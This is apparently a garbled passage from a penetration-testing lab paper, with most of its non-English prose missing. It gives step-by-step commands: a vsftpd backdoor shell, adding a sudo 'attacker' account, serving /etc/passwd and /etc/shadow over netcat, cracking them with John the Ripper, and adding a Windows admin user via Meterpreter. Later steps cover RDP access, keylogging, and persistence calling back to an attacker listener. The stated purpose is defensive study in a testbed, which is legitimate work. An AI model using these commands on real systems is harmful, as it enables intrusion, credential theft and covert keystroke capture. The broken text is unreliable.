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1. FTP  
 FTP

VSFTPD
6.  

telnet 192.168.5.105 21 
( ) user user:) 
( ) pass pass 

7.  
:telnet 192.168.5.105 6200  
:ifconfig 
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attacker sudo

grep 8.
 

: useradd attacker 
: echo  
: usermod -aG sudo attacker 
:  
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Root Shell
NetCatt [5] nc

Server
Client

nc
 

telnet
nc

9.  
:nc l p 8080 < /etc/passwd 
:nc l p 8080 < /etc/shadow 
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( )

passwd shadow
passwd.lst shadow.lst

nc

10.  
:nc q2 192.168.5.105 8080 > 
passwd.lst; 

:nc q2 192.168.5.105 8080 > 
shadow.lst; 

 
192.168.5.105

passwd shadow
unshadow

password linux
passwd

shadow
10.  
:unshadow passwd.lst shadow.lst > 
password 

:cat passwd 
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10. nc( ) 

John the Ripper

John the Ripper 3000
password.lst

Johnny
John GUI John

password
11. : 

stu:1234; 
attacker:attacker; 
student: student 
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:getuid   
:getpid   
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13.  
FTP

meterpreter
test  

:run getgui u test p test 
test (Remote 

Desktop Users)
(Administrators) 14.  

:shell  
:net localgroup Remote  
Desktop Users  test /add  

:net localgroup  
Administrators  test /add 

 
14.  
test

(Remote Desktop Users)
(Administrators) Windows xp

test
15.  
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Windows xp
16.  

:rdesktop u test p test 192.168.5.104 
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Windows xp

wordpad
wordpad pid test

PID 208 wordpad
17.  

:ps | grep  wordpad  
:migrate 208 

halliow I am test bye 18.
 

:keyscan_start   
:keyscan_dump  
:keyscan_stop   
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:run persistence X i 10 p 8888 
r 192.168.5.106  
 

-X  
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-p port  
-r IP 
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24.  
:use exploit/multi/handler   
 
:show options     
 
:set LHOST 192.168.5.106 ip 
:set LPORT 8888     

port  
:exploit       
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Abstract 

In the era of advanced networks, it is very convenient for everyone to access the Internet.  
However, malicious attacks are also gradually increasing.  Everyone may become the target of 
attack.  Penetration attacks are one the means of attack. 
Some companies are using older versions of operating systerms and are not updated frequently 

misappropriated, the data is deleted or leaked, it is used as a tool for other crimes.   The 
purpose of research is to understand how it is worked by preventing it. The method of research 
operating penetration attacks in the cyber security testbed. Finally, we will understand the 
penetration attacks by the research, also, we will get some suggestions from it. 
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